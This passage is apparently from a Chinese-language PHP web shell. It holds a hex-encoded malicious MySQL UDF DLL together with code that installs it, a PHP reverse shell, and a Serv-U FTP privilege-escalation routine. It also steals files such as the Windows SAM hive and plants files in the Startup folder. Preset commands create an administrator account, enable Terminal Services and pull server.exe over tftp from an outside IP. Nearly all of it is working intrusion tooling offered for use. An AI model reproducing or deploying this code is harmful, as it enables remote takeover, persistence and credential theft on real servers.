650ca09955f7327b88cf99b3703e86107985d54d44cfa152e8c9e0916c1847573d9ee33ba02402df410da97f09140939d61e27856f05b6bd314401cffdd889ae450936428e488ce1c54583e24ef715c1c577e49c82b5f017e4e57033b3a95d3c65acac6e5b545e5f924326993855d842a286e520759fbc75e2b9678c3f3fd9497b2364c64670848140fd06b7201f376216612725b17ff5e91481cc3c3a9eb04770a76c29622959845298d09163e7f8a0858e88ca33aac8f2b18118a29793f344407c3fa10b414f20e4ddcc351cee0e78b7a140dabe320aa52963028226d79c8c0fb3b3b4fb20bff0a11200484c675cbbbe05b14d7dd3bf802d03fcd6f2fa5141df18591bfa2b98dd64bfb37b3c7aba257fa7df4a69257e35f69d2e1d0f6a2124f76ece02bd009efe870e04c1e4d033c59528ad4b533c2648a238b7a7b1dc8de9f05ea2bde344fe56aa1f8b1d3ef3511a39c64ed1bdc9fbf77b6045d9473e95c539d3a10e3de156635037b4b68a7dea0260016c379e4ffac60cf82fa256ba9cc7cb786b9993b5cfef4414926b845699d127d3e787abc1c694f947c668f3dcf4c0082cabba060934875ec4e675fdc8bf42cb9bd9c2c3a42dae53a5deb569af03bdec4dce2fc1b18f7c323e78d2f3c879751ec1ac21418a779c61caa259f09c132be604b97ba39e9e80b5eefa3160784c9ded268ee9e586872515df2e1864693a0cb251cd30630fb1d77eeb14072af0526ccbe387480053940a95f3f4b6a232ee3760dc397dc146d03748dad4161c67e0e3d1c123d6684464dbe59181af9d22efe145ef9cb9f722c271ee30a5c987ff95b5b87ebab0ed100b8d0ba83c37df4d6225bb9642224d4cfa211149cf5be32794d3c3c379c2e896a581d8364c80634449753ba980f608c203e703a7a65f721eaa487b5cf11cd6f294ff91b633a08e12404912f03af971d1cdb381ce1fd102414b52a235b495dfb7631644da524d068908d6eafcfa73f26086caacd2591fe006370ea5501dac27ff325a78067b9ee59652a05e8904decb7219ceba2744b0546ada587290363c4b5af950d4d64a72478f5356725227805e50cc7b714cf8f43e40b03ba7f867069482d164b54f3099e671a5803c881eccad2ae8aea6280b174863e271f77e94e1ffea81811ad5e60e8b87671f592a95b3264e94415ff66e8ab22bd2120b15a10bd99f8e0d74852e41dff820bd68635f84a004346944e99f9ca97f5cfe8fe1d949824b8c8918b57614c15e0f71fd9d84e5308950ce52cc19857dd16b81b3bc962db9cbbd8ea87e39e7fd59bd78e947eab77e0d16c58d3fb2530d622651b8ecefad13c7ad5bb0443720d7eef9ea65c763d1bc7886029f926071eb1debacbfb0fb551ab1d704cc82d957683c2d3d57d94c7752caf77632968b7e20ebd3fc56510657d630a227f0c9202af2870e71c231e252ecc2cde1f98f4110d6af64d4e1a88552be73e68f6283ca1a2a817b3149eed85818e499a65c19ab244bc7eb61db5ac35ed55faeca0b01664efd1f2da213274535bc7e41e1254f5a50824b12bb613b27266dabe3bd62e2145b5da0cd726d122a6281b1ca86fe9df66483ea1083573ee3ed4121837d4cc85f0eee2c02afc46e7be8eda706d3467c7fe6ee7fe5facaa9e6dd1249cfc92fd403a9cd43b9944656afb643cd54663281c71eaab46e2c63df9c0619d80e156f885ff9b02b676de154024d95345c770adcd7325468597b44d6b3d29bed4fafc002c7a987fd1bdb9febe59e350ce37610562d99286604b171ae985d20ff53c64a39831d93137cfc76810ca2c671715c09b2dfc52167240be4a6cdbc905ec95f8604149cbc9cf560f004c608306e2f90bc703be4d257c885bb7c6375a8a988431b1dde742064f0fc4b8d294c8b34844e383c1ca393acadf1c1da8ff9b13f4c70ed8208ee2c0670c1aed365ba0fce7d874fcc0addd9d74077e9d9cb230545ee35dacee2605b29a7f863bc58e0b2423a7b3a2326563210329a492cabc9f44406de4e8c14fb78d9059dbc286b6b27f01dbdc947caccee3675c19f54118d5ea0b98740e9102d2459c63811876d0a0ecd9bd55edaa60e4eecfbdef30a9ac33f952402a62c97dcb061d018c0fc6ee2760ca2eaadcdf6b397135c7875c47c36852076d607d4aac060812f601ac6f73dce3c7f50bb4aeb5369ebf65e14f43078de0dce84b270a743134db987b17710fc0d863a4791cee861a0a5568be977b1cf3b2e1eca312542df4324575f8c3e4661ed2b955bb7c48077d4952193496265740f6de6955e935cd67df798c2f77b645cb33ff297d90de4eee66384f8f5eaf5c761cde263c60619c1e1c09995d7799cc74689071abc4d310fc08f6d069cd4aa32e47beea8438d6b9aa9bdc100671c2e1b17e2014cbc782e2c7972bff99785bd2e4f2af6e6d7f46aaecc6958ddeabb52b4e93ca67fd2741af101cda966e83f822e29ec180c2bfb704a666fb9dde2ddbe8d389e98c3e3d360037860fce71598fd3444d133c21feddb993371f5f704d4ead8a116fbd09550382b62ffa1fa179b8b6eb1c9611f16a0bf4ec475aa9fb951c19c468f94fd1c2d3ec793bce76a50969ff8f39214de1f714633bbd8aced6b71034b95c38a640c51289794c4191499f9bf013e5aa9e9928b675e96ce2358b14abac50cde601ee9fdba355bc0d48900ded3bba6d8e761a5b36ab0b2480422889d0081a3adccf83cc621fbc5e110c2d2e9a5d9dab399a324c7d01ff7dac85933351e552b7b0fe2132b319b630f93e642aeb2af777627148aff3ebbf6dfebdd1985e91cdbe9a4b47bbc7e189cfd4a9de568d974d13b596f4b5c10a01b487e1191b8e742aa752ae89147256501e30918f7be67e03b4f4869c55817dd2358e438359b7cd22fd1affabd78518b91f3248e2d839ade3dcfaba45ab72519c5fcc6d7db4bee7840c1b2c23834c7d8079d42c4ff6b8b9291e0e5773b41b716bd6ea94ab8e8934eb81e9326737a06b320b1c98919f8654b0c6e2ce3b792f42465f4506e54900a654233b468ded6bcf7b99fe25754c35cb1c67dee159d9db365eda9fa979115b668008c15f3564401b4b74e082355a596b776ab5c14a7d998f844a48c8e1bf5406dddf8b56c6641dbf0cd68e7e98a2e8d2b829ee342ee65ae34c23b9d2823768fbd80024db4970abccdf91b0e92ae2fbeb2822633ee42dc7622e2ef9c7b0b60dcdd181e2271cef8e0a4a161c700b17c40fea711edd36ca33513d433f109c657d4b610be67f5b17ea714162dbf40e74576613a316bdc75f3572c0dc12fe3c7487249d00c5afaa4ad3d854ba763dabc807da78996e6585b9a6bcfe2956ee3691778ea9d6ee8027e309b066d67116d0c2eafcad749a4858c362aa0eb6d56a28aee9a2bdf22b401c6361d8d13818dbdb2e220ecddb361b622b3f1577fd50722b4f9523378249a4d5968bcf6214c9837991a576e07b556dedfe9d1e7613ee28e1edfd080c943e518582fcb90f41cc60e74a22953d67a042fb24b522db482529b6348645c622dda250b3506ce19c9f2cdb202a454db52f3f73be52026726147717f70b7d3872e4c945104eca84d4f652ac71e87c4b94470626784c6654fdd968dd81d472745d4720341d9307e436a92b29b1a419bf024b70700a0d2c1133c3911f081ba1bce9dd0b74499fc6da58e19165d5e452c8469aac1e2a2e5687b98e081f05e73122b7b4bac513d7ec8a940c648b44bba80076273189858549b283ab363d0eb9e8962462a24f1bbd96db00922744e9484f09aae326461e57da8679c14d41b1986f33682aa70d91efe6d0dd81b65d26000463b8c3429c8f93f0801d71ab1123611b93e5f3a7a278c363c6797957950849f39974d6193ab8fdef30087e1fc96db7c3b78c11c4be00ae617a04e27c74f5c83cc81a95a5cedb752118622f6196fb9853fce4897de28494d5d94763cacd6e8d97892fe00380a2a34fa194882958020ed4b39800b2b01306475074cca32d398589d4ca1686ee3a11b1f918b89948927ee3a097f737456cb43e774bf1913c7c7431b911071a4c4bd30e96e28f0d786d3826ee76c53cc875f5b827e203a8702bba2b4760d0f22f58e56180744172384f5abc11d833bf1201387ba60af29a88da9161af85a07eb4c30deb23732d60e82d415d6bd9eeae750b9284be41c5efab738a1ca5702686579806948960390ed4c0ca7d219eb1ed0cc479c4c516589783c784dbeb284e0d50ad2856b81737d1012273e69f91fbd05fa0ff37283cb44d10f41c44665ced2c42ccc15c365c05f2fbd5a7b99975627c99f5ba39e3dfe1a0b9b6efe4f9d859d33f7a5d9b080b1b7ae7d026c7d0c52ec3dc4a60e5cc7fd7c0faa209f46d531611d88635e8da5b6cbff371d6cdb40eaf94f44a90f5ef96d54a1c148c140feb739837c52c56119c1fbe898ab2242972e028faff901de8679f2d83d3e8094453a80f163dfd6218b72ecbee21a2770d4d0fa9cfe524e8d918d59df5e0e260686966e021d93504fe98e8a5a3113bfdc29a4732ee00c31b6b9471ffe1bdd91625ba0dc6314e2f7c6d14903995692a5730580894c6875679680d71d4470557c76cca1317fa1e3a437c0bb133b98b2b1934ec5ae18dca6b69f3854eae3e9156ed84abe3112abed69eb79c1251126e14b9b3924ee2453d7f3b216d22649464155a0591fc0af92ea6b810e66cce1db14d168161fc7883e994c7f0a5ff401e3f9c1f08439e4333f553c1b84b308ee8fbb2d13f8ff8247aef5b1ca08f1028d70840ea0aa923a1ed861e42358b7ae207a156e333d0f1aed6534b9a4e68b3922d4586598b710128e901855c95fa47bca65bdce83540d78a774028838677d6075eb1ecfd0ecec38650ccc45a05edda1a8e414056aa4db23404ee8fd9411f8f78930ca9713d6d465f95d0bc687bc39f27c2c0057a50e92a0c95e4f4b37411028a07ae76cf3260bb086ee656c033a3ef5b89fbc97996e06243d3f33851476afd328da79f62d1e95a27bf451b943766a50c238ad4b3dece8f4049686494642bca8ae162c69c48c8b9a89161572808b691c5638af59d2bf26b68af0a3adf17eed396890cfcec6e8aaa42742a5fe92073d66d3e2b7baa8f6c473e2f48e9c9e0f7b0b7f7f37399784a2937cc6dcd4871724b2d33a6be15add1908800c8cf92fde2d6fca5a2f55e46a9e2e19ce040739500b33100cce91b6da78009e61b066448dbe4226cc2fb0ee6a027112d9b2e200bf7d197889b3d0f945032488f614a6803b3119b368322825ce5b235a69a6f147ac2341195aa5f3c190eca877c3c66508d99f968d6a350290dffb9da9c4fb4f60b368d3aaa809fc127b2a0bd8eaefb1fa4ccda9d168065ecbbd4766b173e886abce1cf23053a4855e1d6e2f4fb2bf9c07c56fc6d2f27acb2ef8c2f012cc2898b56f32c02a70c5009dd8e35797717ffdcbd233256161ee254d1b1accd2b6133a5fc376babdc4c0d5811c89deadaed2ef047c6364a690fe998b944e996fcbf8c237dbeebf6d764f713a39e8e01efa008b949b13ae7e04017bf1d85071928869984bf78f6a3695586492efae813ce2c252dc92fb8db3beb32cb78a5b057ef9f6bc3524e462c121f4c6c3b29083979c85cfc73e8e5b2500e9785eaf5ea409134606c8a50f1fc68571303807ac06ef9bdc138cdaf1d545b361b25ec793a30c765de9b4199076f41da8ae675a21f321a4060eee1fc25bc992561ef6c1b332747f9b4517c316dd1d68b950c671cd3ea2e42480a0b82901058b355b59bf72d65f6eb33f3f49bb9bef7b514b908255051e8385386939423d47625377cfbe22f85b904dc6029c207a65288e98ff01f215c12507ce986939be440458c000f9475cb4b4704dacb7656330bd06485064678fc603392ecf35a512d76382232fe2889b8e0e7418e9264c0ff1120a56c63b3c08c0eb703464c1c4dd4ba417d11ddec9f67d814ee0c5df50c173b2634c8b6b18cda4d86047a47579847bd1490aca83c8be538bb02f4569d2e200daffd04a47089bbdb0acdf3d2e2772a0fb12d37485ec8883c1253bc84457f3670704b9ee898e978a5593b73aeef92f10f9020ec60cee25e327fe2055c0b29125f72ff67d28b31bdc778d74bd1c39ed6bf2c44ecc2a61ea5f742f6a0c1857001c1b07e56db98c6db1331bdc727a7dc98d2a3f5c5f7cba0c2fc783155c08e4eb337138dd2fc43c6aa607722b0cb90f6afe3f1226d31d5237851cc1dfed5dbc055027361094c50c67b7be979e07c9d5a3f698a9871ae81bcf53c70c611f5de85ccebf2a10cf7016e10483c6125ae8c5660f9269480ae025af71d8923d9ea95b20abe3c71e97e59b8278271dc5722dca6883ba3fc70dd206fb555af8206b03180dae4538642c1d88eea507d8d2cd3cf435660614f87f10cce23786e9376f51e47e4d3202499fa1e3fb3e2e0549e6ef0880fab18dd3032d55b32d484217349380806a72e46888d9b57bccc8aec8be2bd30007367de32d69c5b950fc82ae6b32bd7f512321c7bac127ffeb31c2d52c779ae836304f63cf89c2ec612cd32edec1fa2a7f9c128b6db5f064457dcc9817640a1d0edfce1776f20a4f531f59035345f668bea438eb47e0659f0b1e4180090a81653c7e5303739a6f87b51bef9491d498d1a51e9802d12842f5dd845a3dc54a82ee140424e26c6025939a116092a30a7ab03745b0e5ac7983b0c4537bcda2393ad2d6d24dc642c3e1aa38b4b83679722b97469f3f0e28d1aad08daabbdf3f0335f0abfd33b9bdcfc8f95829ca6064853ad2a2e856771e0c0c952369705cdef3b919340e086e073ddd9c9896e783f3610cb4ae23aa06d2bfc281bdf515696bdf1ae28eb7f8cb1e3280ca948e3d2c89b1ccb7f341fefc7ea193c7477e3d81df3799a685fa2dbd1aa8f7c6d164fa73f44c306fd495979b5b03ad9e29995ab445a89ee792b7cbe5c4829204d3418a29a6e5bc1375d575860f01fa456d8efe52b50f64f221b9372551a5d491ae31660c4928176d974136903e8cd04779424a9d09dec08654ba8bb880bdde1120039f89d38eccbac4436bf382e4e73956ee3b2be95a6659cb96412b14032b5676a321173882ae645390237ced2d62eeaae20f3f52e4c164ce074e0e2cad94dd4c189f19b88991aebc2cffcf522b373d7644c026fd890e0b652261af984a1469ce004fd3464b3949812bc602eeb055c72b2e645a3ace286d9e7d924b0604043e632a3ca026699de5484bcfa7001d5b479761a99eda72d51c9de7345ce00d4c35dfb044b8907fe1bbcb58f5b207aa748746af5e2837116c2f75d4371705986868f6de4e700fc56b91c86c1d3cb4c5c3c9016c3ab6379895fd56adc7c0613eba6d239df1bc48e218233b370930b9dd78627c87c89a4237b00f51b12f75227807372b3204e67138359a647bbe5e8f2f9114ca5518d4c582de609c2958058ce5cf095d5233abf344648bf2a91aa61cf13d6fcaf526e8c69d8a0cccd3aaf850798bc8802a2896a737eb791de6bf660e042843df3e8b68fca1065c5963fd128c7e8f1e9971f5a9f9d7131f075a98143a4de0e456eee823cf6988192a4e372172bdfbf7301bef7d260bb60126a1356857d698df62b5e7ac5e02b4bdc0f1eb22d953b95fa0c6b802f2235bbc31d04d11b46d2da5d8cd6d4f2fad666b3c0060e809000000bb930200e90602000033c95e870ee3f42bf18bdead2bd8ad03c35097ad91f3a55ead5691011eade2fbad8d6e10015d008d7d1cb51cf3ab5ead53505197588d54855cff1672572c037302b0003c0772022c03500fb65fffc1e303b3008d1c5b8d9c9d0c100000b001e3298bd72b550c8a2a33d284e90f95c652fec68ad08d1493ff165a9f12c0d0e9740e9e1af274e4b40033c9b501ff560833c9ff661cb1308b5d0c03d1ff16734c03d1ff16721903d1ff1672293c07b0097202b00b508bc72b450c8a00ff661883c260ff16875d10730c03d1ff16875d147303875d183c07b0087202b00b50538bd5035638ff560c5b91ff66303c07b0077202b00a50875d10875d14895d188bd503563cff560c6a035950483bc172028bc1c1e006b1408d9c857c030000ff56043c048bd8725f33dbd1e813db48439143d3e380f9058d949d7c010000762e80e90433c08b5500d16d088b120fca2b550403c03b550872078b550840015504ff5610e2e0b104d3e003d88d551c33c0534051d3e08bda91ff560433d259d1e813d2e2fa5b03da4359895d0c568bf72bf3f3a4ac5eb180aa3b7e247303ff6620588b4e405f5a57e31b8a074704183c0273f78b073c0775f1b0000fc80346142bc7abe2e58b5e2856528b762c46ad85c05a742203c2525697ff53fc95ac84c075fb380674e78bc679054633c066ad5055ff13abebe7595f8b4944e30d33c0ac3c04720c03f80117e2f361e9e89bfdff2c017208740ac1e008acebe866adebe4adebe1508b450852c1e80bf7228b55008b120fca2b55043bc25a761089450833c0b4082b02c1e8050102eb0e0145042945088b02c1e8052902f9589c807d0b00750bff4500c1650408c16508089dc333c0408d1483ff1613c03bc172f52bc1c3b108ff168d5204b001730bff16b0097305c1e105b011508d1c82ff56045b03c3c30e0000001e00000000000000000000000000000002000000e99702000000000000000000000000000000000000000000010000001e0000001e00000031980200e5980200a99802006022000060290000b0240000c024000060290000b0240000802c000060290000b02400008029000060290000b02400002010000060290000b02400003014000060290000b02400009016000060290000b0240000601b000060290000b0240000b01e000060290000b0240000a026000060290000b024000000000100020003000400050006000700080009000a000b000c000d000e000f0010001100120013001400150016001700180019001a001b001c001d005d990200699902007c9902008d99020099990200ac990200bd990200c3990200d0990200db990200e5990200f6990200059a02000e9a02001e9a02002c9a0200379a0200499a0200599a0200629a0200729a0200809a0200889a0200979a0200a49a0200ad9a0200bd9a0200cb9a0200d09a0200dc9a02004b696c6c50726f63657373004b696c6c50726f636573735f6465696e6974004b696c6c50726f636573735f696e69740050726f63657373566965770050726f63657373566965775f6465696e69740050726f63657373566965775f696e69740061626f75740061626f75745f6465696e69740061626f75745f696e6974006261636b7368656c6c006261636b7368656c6c5f6465696e6974006261636b7368656c6c5f696e697400636d647368656c6c00636d647368656c6c5f6465696e697400636d647368656c6c5f696e697400646f776e6c6f6164657200646f776e6c6f616465725f6465696e697400646f776e6c6f616465725f696e6974006f70656e33333839006f70656e333338395f6465696e6974006f70656e333338395f696e6974007265677265616400726567726561645f6465696e697400726567726561645f696e69740072656777726974650072656777726974655f6465696e69740072656777726974655f696e6974007368757400736875745f6465696e697400736875745f696e697400"; } function Mysql_m() { $MSG_BOX = '请先连接mysql,再导出DLL,最后执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; $info = '命令回显'; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $sqlcmd = 'ver'; if(isset($_POST['mhost']) && isset($_POST['muser'])) { $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); if($conn) { $bl_str = mysql_get_server_info(); if(!empty($_POST['mlink']) && empty($_POST['mpath'])){ if($bl_str[2]>=1 && $bl_str[0]=5){ $bl_sql = "show variables like '%plugin_dir%'"; $bl_row = mysql_query($bl_sql,$conn); $bl_rows = mysql_fetch_row($bl_row); $mpath = $bl_rows[1]."/mysqlDLL.dll"; $MSG_BOX = '连接成功'; }else{ $mpath = 'C:/windows/mysqlDll.dll'; $MSG_BOX = '连接成功'; } } @mysql_select_db($mdata); if((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) { $mpath = File_Str($_POST['mpath']); mysql_query('DROP TABLE Spider_Temp_Tab',$conn); $query ='create table Spider_Temp_Tab (spider BLOB);'; if(!mysql_query($query,$conn)){ $MSG_BOX = '创建临时表pider_Temp_Tab表失败'.mysql_error(); }else{ $shellcode=Mysql_shellcode(); $query ="INSERT into Spider_Temp_Tab values (CONVERT($shellcode,CHAR));"; if(!mysql_query($query,$conn)){ $MSG_BOX = "插入自定义文件失败".mysql_error(); }else{ $mpath = File_Str($_POST['mpath']); $query ="SELECT spider FROM Spider_Temp_Tab INTO DUMPFILE '".$mpath."';"; if(!mysql_query($query,$conn)){ $MSG_BOX = "导出自定义dll出错".mysql_error(); }else{ $ap = explode('/', $mpath); $inpath = array_pop($ap); $query = 'create function cmdshell returns string soname \''.$inpath.'\';'; $MSG_BOX = @mysql_query($query,$conn) ? $MSG_BOX = '安装DLL成功' : $MSG_BOX = '安装DLL失败'.mysql_error(); mysql_query('DROP TABLE Spider_Temp_Tab',$conn); }}} } if(!empty($_POST['runcmd'])) { $sqlcmd = $_POST['sqlcmd']; $query = 'select cmdshell("'.$sqlcmd.'");'; $result = @mysql_query($query,$conn); if($result) { $k = 0; $info = NULL; while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} $info = $infotmp; $MSG_BOX = '执行成功'; } else $MSG_BOX = '执行失败'; } } else $MSG_BOX = '连接MYSQL失败'; } print<< +function Fullm(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "net start Terminal Services"; + Str[4] = "netstat -an"; + Str[5] = "ipconfig"; + Str[6] = "net user guest /active:yes"; + Str[7] = "copy c:\\\\1.php d:\\\\2.php"; + Str[8] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[9] = "net start telnet"; + Str[10] = "shutdown -r -t 0"; + mform.sqlcmd.value = Str[i]; + return true; +} + +
                            +
                            {$MSG_BOX}
                            +
                            +地址 +端口 +用户 +密码 +库名 + +
                            +可加载路径 +
                            +
                            安装成功后可用
                            + + + +
                            +
                            +
                            + udf函数说明:
                            +     cmdshell 执行cmd;
                            +     downloader 下载者,到网上下载指定文件并保存到指定目录;
                            +     open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
                            +     backshell 反弹Shell;
                            +     ProcessView 枚举系统进程;
                            +     KillProcess 终止指定进程;
                            +     regread 读注册表;
                            +     regwrite 写注册表;
                            +     shut 关机,注销,重启;
                            +     about 说明与帮助函数;
                            +
                            + 常用命令:
                            +    create function cmdshell returns string soname 'moonudf.dll'
                            +    select cmdshell('命令')
                            +    select backshell('你的ip',12345)
                            +    nc -l -p 12345
                            +END; +return true; } function phpsocket() { @set_time_limit(0); $system=strtoupper(substr(PHP_OS, 0, 3)); if(!extension_loaded('sockets')) { if ($system == 'WIN') { @dl('php_sockets.dll') or die("Can't load socket"); }else{ @dl('sockets.so') or die("Can't load socket"); } } if(isset($_POST['host']) && isset($_POST['port'])) { $host = $_POST['host']; $port = $_POST['port']; }else{ print<< +

                            + +
                            反弹 cmdshell 用 php socket;
                            扩展项 php_sockets 应该被开启;
                            请检查 phpinfo();
                            code by Maple-X

                            +
                            +

                            主机:   +端口:  

                            +Linux +Win   + + + + +eof; +echo '

                            '; } if($system=="WIN") { $env=array('path' => 'c:\\windows\\system32'); }else{ $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); } $descriptorspec = array( 0 => array("pipe","r"), 1 => array("pipe","w"), 2 => array("pipe","w"), ); $host=gethostbyname($host); $proto=getprotobyname("tcp"); if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0) { die("Socket 创建失败"); } if(($ret=socket_connect($sock,$host,$port))<0) { die("链接失败"); }else{ $message="----------------------PHP Connect-Back--------------------\n"; socket_write($sock,$message,strlen($message)); $cwd=str_replace('\\','/',dirname(__FILE__)); while($cmd=socket_read($sock,65535,$proto)) { if(trim(strtolower($cmd))=="exit") { socket_write($sock,"Bye Bye\n"); exit; }else{ $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); if (is_resource($process)) { fwrite($pipes[0], $cmd); fclose($pipes[0]); $msg=stream_get_contents($pipes[1]); socket_write($sock,$msg,strlen($msg)); fclose($pipes[1]); $msg=stream_get_contents($pipes[2]); socket_write($sock,$msg,strlen($msg)); $return_value = proc_close($process); } } } } } function su() { $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; print<<[执行命令] [增加用户]
                            +
                            +
                            SU_端口
                            +
                            SU_用户
                            +
                            SU_密码
                            +END; +if($_GET['o'] == 'adduser') { print<<用户 +密码 +目录
                            +END; +} else { print<<Cmd命令
                            + + +
                            +END; +} echo '
                            '; if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) { echo '
                            '; $sendbuf = ""; $recvbuf = ""; $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10); $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "SITE MAINTENANCE\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = $domain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = $adduser; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; if(!empty($_POST['SUCommand'])) { $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "USER ".$_POST['user']."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "PASS ".$_POST['password']."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: site exec ".$_POST["SUCommand"]."
                            "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = $deldomain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; @fclose($exp); } @fclose($sock); echo '
                            '; } } function Mysql_n() { $MSG_BOX = ''; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; if(isset($_POST['mhost']) && isset($_POST['muser'])) { $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); else $MSG_BOX = '连接MYSQL失败'; } $downfile = 'c:/windows/repair/sam'; if(!empty($_POST['downfile'])) { $downfile = File_Str($_POST['downfile']); $binpath = bin2hex($downfile); $query = 'select load_file(0x'.$binpath.')'; if($result = @mysql_query($query,$conn)) { $k = 0; $downcode = ''; while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} $filedown = basename($downfile); if(!$filedown) $filedown = 'spider.tmp'; $array = explode('.', $filedown); $arrayend = array_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.strlen($downcode)); echo $downcode; exit; } else $MSG_BOX = '下载文件失败'; } $o = isset($_GET['o']) ? $_GET['o'] : ''; Root_CSS(); print<< +
                            +
                            +地址 +端口 +用户 +密码 +库名 +
                            +
                            +END; +if($o == 'u') { $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; if(!empty($_POST['uppath'])) { $uppath = $_POST['uppath']; $query = 'Create TABLE a (cmd text NOT NULL);'; if(@mysql_query($query,$conn)) { if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; if(@mysql_query($query,$conn)) { $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; $MSG_BOX = @mysql_query($query,$conn) ? '上传文件成功' : '上传文件失败'; } else $MSG_BOX = '插入临时表失败'; @mysql_query('Drop TABLE IF EXISTS a;',$conn); } else $MSG_BOX = '创建临时表失败'; } print<<
                            上传路径 +

                            选择文件 +
                            +END; +} elseif($o == 'd') { print<<

                            下载文件 +
                            +END; +} else { if(!empty($_POST['msql'])) { $msql = $_POST['msql']; if($result = @mysql_query($msql,$conn)) { $MSG_BOX = '执行SQL语句成功
